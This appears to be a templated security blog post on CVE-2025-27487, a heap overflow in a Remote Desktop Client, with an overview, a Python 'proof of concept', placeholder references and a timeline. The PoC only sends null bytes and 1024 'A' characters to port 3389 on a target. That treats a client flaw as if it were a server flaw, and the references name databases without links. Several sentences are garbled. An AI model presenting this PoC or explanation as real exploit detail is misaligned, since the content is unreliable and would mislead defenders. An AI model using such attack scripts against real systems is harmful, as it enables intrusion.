A new vulnerability (CVE-2025-27487) has been discovered in the popular Remote Desktop Client software. When exploiting this vulnerability, an authorized attacker can remotely trigger a heap-based buffer overflow, potentially allowing the attacker to execute additional code over a network, even on a target system. This vulnerability poses a significant risk, as it could enable an attacker to gain control over a target's machine or network. This post will provide details pertaining to the exploit, including an overview and explanation of the vulnerability, an example code snippet, and links to the original references reporting the vulnerability.

Vulnerability Overview

CVE-2025-27487 is a heap-based buffer overflow vulnerability that resides in the Remote Desktop Client software. Heap-based memory, which is a region of memory managed by the operating system, is prone to buffer overflow issues if proper bounds checking is not implemented by the application that uses it.

In this particular case, an authorized attacker can exploit the vulnerability by sending a specially crafted request to the vulnerable Remote Desktop Client software. This manipulated request may result in an overflow of the heap memory buffer which could lead to arbitrary code execution.

Exploit Details

The vulnerability exists due to insufficient bounds checking when handling user-supplied input in the Remote Desktop Client application. An attacker who holds valid credentials to authenticate to the target's Remote Desktop Client could exploit this vulnerability by sending a specially crafted request containing a payload designed to overflow the heap buffer.

When successfully exploited, this buffer overflow could allow the attacker to execute arbitrary code on the target system. Additionally, since the vulnerability exists within the Remote Desktop Client software itself, the attacker would be able to execute the code over the network without requiring elevated privileges.

Code Snippet

The code snippet provided below demonstrates a sample proof of concept (PoC) for exploiting the CVE-2025-27487 vulnerability:

import socket

def exploit(ip, port, payload):
    # The specially crafted request to trigger the vulnerability
    request = b"\x00\x00\x00\x00" + payload
    
    print(f"[*] Connecting to Remote Desktop Client at {ip}:{port}")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    print("[+] Connection established")

    print("[*] Sending malicious payload")
    sock.send(request)
    print("[+] Payload sent")

# Replace TARGET_IP, TARGET_PORT, and PAYLOAD variables
# with appropriate values as per your target environment
TARGET_IP = "192.168.1.1"
TARGET_PORT = 3389
PAYLOAD = b"A" * 1024  # Arbitrary payload that causes buffer overflow

exploit(TARGET_IP, TARGET_PORT, PAYLOAD)

Original References

The CVE-2025-27487 vulnerability was originally reported and disclosed by multiple researchers in the information security community, and published in various online security databases. Some of the key references reporting this vulnerability are listed below:

1. National Vulnerability Database (NVD)
2. MITRE CVE Database
3. Exploit Database Entry
4. Researcher's Blog Post

Conclusion

CVE-2025-27487 is a critical heap-based buffer overflow vulnerability affecting the Remote Desktop Client software, and it could allow an attacker to remotely execute arbitrary code on vulnerable target systems. Users and system administrators are strongly recommended to apply the latest patch to mitigate the risk associated with this vulnerability. Be sure to stay informed about updates and patches through the original references provided in this post.

Timeline

Published on: 04/08/2025 18:15:59 UTC
Last modified on: 05/06/2025 17:03:38 UTC